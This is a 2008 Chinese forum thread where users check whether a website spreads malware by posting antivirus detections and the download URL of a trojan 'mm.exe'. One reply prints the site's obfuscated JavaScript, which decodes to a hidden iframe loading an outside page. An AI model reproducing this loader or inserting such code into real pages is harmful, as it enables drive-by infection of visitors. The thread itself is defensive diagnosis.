jishan各位看看这个网站有病毒吗？

chunnian

进入这个网站之后卡巴和金山都会报病毒，而我用的KV却任何消息都不报，请各位看看。

http://hao.22ccc.com/html/down/index.html

ALEXBLAIR

detected: malware Exploit.Win32.RealPlr.ac        URL: http://news.kv8.info/root/11.js

detected: Trojan program Trojan-Downloader.JS.Multi.t        URL: http://news.kv8.info/root/pd.htm

1. 
   
2. <!--
   
3. var HtmlStrings=["=jgsbnf!obnf>J2!tsd>#iuuq;00mjbo/bbuuu/dpn0iunm0epxo0joefy/iunm#","!rvbmjuz>ijhi!XJEUI>#211&#!IFJHIU>#211&#!NBSHJOXJEUI>#1#!NBSH","JOIFJHIU>#1#!ITQBDF>#1#!WTQBDF>#1#!GSBNFCPSEFS>#1#!TDSPMMJOH>","#zft#>=0jgsbnf>"];
   
4. function psw(st){
   
5.   var varS;
   
6.   varS="";
   
7.   var i;
   
8.   for(var a=0;a<st.length;a++){
   
9.     i = st.charCodeAt(a);
   
10.     if (i==1)
    
11.       varS=varS+String.fromCharCode('"'.charCodeAt()-1);
    
12.     else if (i==2) {
    
13.       a++;
    
14.       varS+=String.fromCharCode(st.charCodeAt(a));
    
15.       }
    
16.     else
    
17.       varS+=String.fromCharCode(i-1);
    
18.   }
    
19.   return varS;
    
20. };
    
21. var num=4;
    
22. function S(){
    
23. for(i=0;i<num;i++)
    
24.   document.write(psw(HtmlStrings[i]));}
    
25. S();
    
26. // -->
    

复制代码

[ 本帖最后由 ALEXBLAIR 于 2008-3-2 17:53 编辑 ]

醉一生爱妍

http:\\down.kv8.info\mm\mm.exe。。。。。。。。。

spaceplane

mm.exe.............................

tanlimo

2008-3-2 19:55:54        HTTP 过滤器        文件        http://dXXn.kr8.info/XX/mm.exe        Win32/TrojanDownloader.Agent.NWA 特洛伊木马        连接中断 - 已隔离                通过应用程序访问 web 时检测到威胁: D:\Program Files\Internet Explorer\IEXPLORE.EXE.

qigang

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Trojan.Win32.Undef.dkp   

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.33.62

robin_xx

看来现在访问黄色网页的男生真多。。。。。。。。。。。。。。

BING126

McAfee        New Malware.aj

mofunzone

Starting the file scan:

Begin scan in 'C:\Documents and Settings\Administrator\My Documents\mm.rar'
C:\Documents and Settings\Administrator\My Documents\
  mm.rar
    [0] Archive type: RAR
      --> mm.exe
        [1] Archive type: Runtime Packed
        --> Object
            [DETECTION] Contains detection pattern of the rootkit RKIT/HideProcess.B
            [WARNING]   Infected files in archives cannot be repaired!
      [INFO]      The file was deleted!

drake

卡巴7打开直接报二个毒杀掉了